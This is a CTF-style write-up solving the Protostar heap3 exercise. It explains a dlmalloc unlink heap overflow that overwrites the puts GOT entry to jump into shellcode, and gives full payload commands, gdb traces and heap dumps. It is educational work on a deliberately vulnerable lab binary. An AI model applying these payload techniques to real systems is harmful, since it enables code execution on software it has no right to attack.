Protostar heap3 solution / writeup

This is a writeup over protostar's heap3 exploitation challenge. Another member
wrote a writeup over this challenge as well, be sure to check that out as well :).

We have 3 heap allocations: a, b and c. So on the heap we're going to have
something similar to :

[ a's header | data.... ] [ b's header | data.... ] [ c's header | data.... ]

Given the 3 strcpy's, we can overwrite b and c however we choose. Since we're 
using dlmalloc, and can completely control a chunk that is being free'd, we'll
attack the UNLINK macro. This attack is written up completely in "Once upon a 
free()" in phrack, http://www.phrack.org/issues.html?issue=57&id=9#article, so 
this writeup is not a tutorial on the specific attack, rather it demonstrates 
how to use the attack for this specific problem, heap3.

We'll overwrite c's header data to unset c's PREV_INUSE flag, to trigger backwards
consolidation. However, since we can't write null bytes, the previous size attribute
of c will need to be negative value, 0xfffffff0. This will point relatively negative
into c's data. So we'll trigger backwards consolidation, with a previous size of
a negative value, pointing into c's data. This means we'll be creating a fake chunk
inside of c's data.

This fake chunk inside of c will have small values for the previous size and size
attributes (setting the PREV_INUSE flag to 1, no more consolidation please), and
the forward and backwards pointers will be completely in our control. This leverages
the UNLINK macros :

  *(next->fd + 12) = next->bk
  *(next->bk + 8) = next->fd

We will overwrite whatever forward+12 points to, with backward. However, then 
backward+8 is overwritten with foward. *Important*, I originally just set :

fw = GOT address of puts - 12
bk = address of winner

That works just fine, and puts will now call winner... *however*, winner+8 is a 
function in the text section, we can't overwrite winner+8 with anything, because 
this section of memory is not writeable. So... we can't point anything to winner, 
because winner+8 is not writeable. Control flow must be sent to a writeable section of memory. Since we are already writting 3 buffers to the heap, which is writeable 
(and executable in this case), and there is no ASLR, lets instead overwrite the 
GOT address of puts with the address to one of our buffers. The buffer will then 
have shellcode that calls winner.

fw = GOT address fo puts - 12
bk = address to shellcode inside of a's buffer

The shellcode just needs one or two instructions, in this case I used : push address_of_winner, ret.

Here is the overall diagram of what we'll be doing :


The pieces of the puzzle we need :

The GOT address of puts :

user@protostar:/opt/protostar/bin$ objdump --dynamic-reloc ./heap3 | grep -i puts
0804b128 R_386_JUMP_SLOT   puts

The address of winner :

(gdb) p winner
$5 = {void (void)} 0x8048864 <winner>

The shellcode we'll need :

metasm > push 0x8048864
"\x68\x64\x88\x04\x08"
metasm > ret
"\xc3"

With all the pieces now, this is the exploit in action :

# run the command
(gdb) run $(python -c 'print "A"*4 + "\x68\x64\x88\x04\x08" + "\xc3" + "A"*22') $(python -c 'print "A"*32 + "\xf0\xff\xff\xff" + "\xfc\xff\xff\xff"') $(python -c 'print "A"*8+"\xf1\xff\xff\xff"*2+"\x1c\xb1\x04\x08"+"\x0c\xc0\x04\x08"+"A"*8')

# the part of free that we are leveraging for the overwrites
1: x/5i $eip
0x80498fd <free+217>:   mov    DWORD PTR [eax+0xc],edx
0x8049900 <free+220>:   mov    eax,DWORD PTR [ebp-0x18]
0x8049903 <free+223>:   mov    edx,DWORD PTR [ebp-0x14]
0x8049906 <free+226>:   mov    DWORD PTR [eax+0x8],edx
0x8049909 <free+229>:   mov    eax,DWORD PTR [ebp-0x38]

# eax points to the GOT address of puts
(gdb) i r eax
eax            0x804b11c        134525212
(gdb) x/xw 0x804b11c+12
0x804b128 <_GLOBAL_OFFSET_TABLE_+64>:   0x08048796

# edx points to our buffer inside of a
(gdb) i r edx
edx            0x804c00c        134529036
# which contains the shellcode
(gdb) x/2i 0x804c00c
0x804c00c:      push   0x8048864
0x804c011:      ret
(gdb) c
Continuing.

Breakpoint 6, 0x08048935 in main (argc=4, argv=0xbffff7e4) at heap3/heap3.c:28
28      heap3/heap3.c: No such file or directory.
        in heap3/heap3.c
# we're about to call puts
1: x/5i $eip
0x8048935 <main+172>:   call   0x8048790 <puts@plt>
0x804893a <main+177>:   leave
0x804893b <main+178>:   ret
0x804893c <malloc_init_state>:  push   ebp
0x804893d <malloc_init_state+1>:        mov    ebp,esp

# what the heap looks like
(gdb) x/40xw 0x804c008-8
0x804c000:      0x00000000      0x00000029      0x0804c028      0x04886468  # a gets mangled in the beggining, so the sc starts at 0x0804c00c
0x804c010:      0x4141c308      0x0804b11c      0x41414141      0x41414141
0x804c020:      0x41414141      0x41414141      0x00000000      0x00000029  # b starts
0x804c030:      0x00000000      0x41414141      0x41414141      0x41414141
0x804c040:      0x41414141      0x41414141      0x41414141      0xffffffec
0x804c050:      0xfffffff0      0xfffffffc      0x41414141      0x41414141  # b overwrites c's headers
0x804c060:      0xfffffff1      0xffffffed      0x0804b194      0x0804b194  # c contains a fake chunk, header + fw and bk pointers
0x804c070:      0x41414141      0x41414141      0x00000000      0x00000f89
0x804c080:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c090:      0x00000000      0x00000000      0x00000000      0x00000000

Continuing.
that wasn't too bad now, was it? @ 1325256074

Program exited with code 056.

# and outside of gdb
user@protostar:/opt/protostar/bin$ ./heap3 $(python -c 'print "A"*4 + "\x68\x64\x88\x04\x08" + "\xc3" + "A"*22') $(python -c 'print "A"*32 + "\xf0\xff\xff\xff" + "\xfc\xff\xff\xff"') $(python -c 'print "A"*8+"\xf1\xff\xff\xff"*2+"\x1c\xb1\x04\x08"+"\x0c\xc0\x04\x08"+"A"*8')
that wasn't too bad now, was it? @ 1325256161

And a quick breakdown of the command used :

arg1 = $(python -c 'print "A"*4 + "\x68\x64\x88\x04\x08" + "\xc3" + "A"*22') 
- some padding that will get mangle'd by free
- shellcode
- more padding (no real need for trailing A's
arg2 = $(python -c 'print "A"*32 + "\xf0\xff\xff\xff" + "\xfc\xff\xff\xff"') 
- padding to reach c's header
- overwrite c's header
arg3 = $(python -c 'print "A"*8+"\xf1\xff\xff\xff"*2+"\x1c\xb1\x04\x08"+"\x0c\xc0\x04\x08"+"A"*8')
- some padding
- fake chunk header
- fw
- bk

Happy exploiting :)
Mitch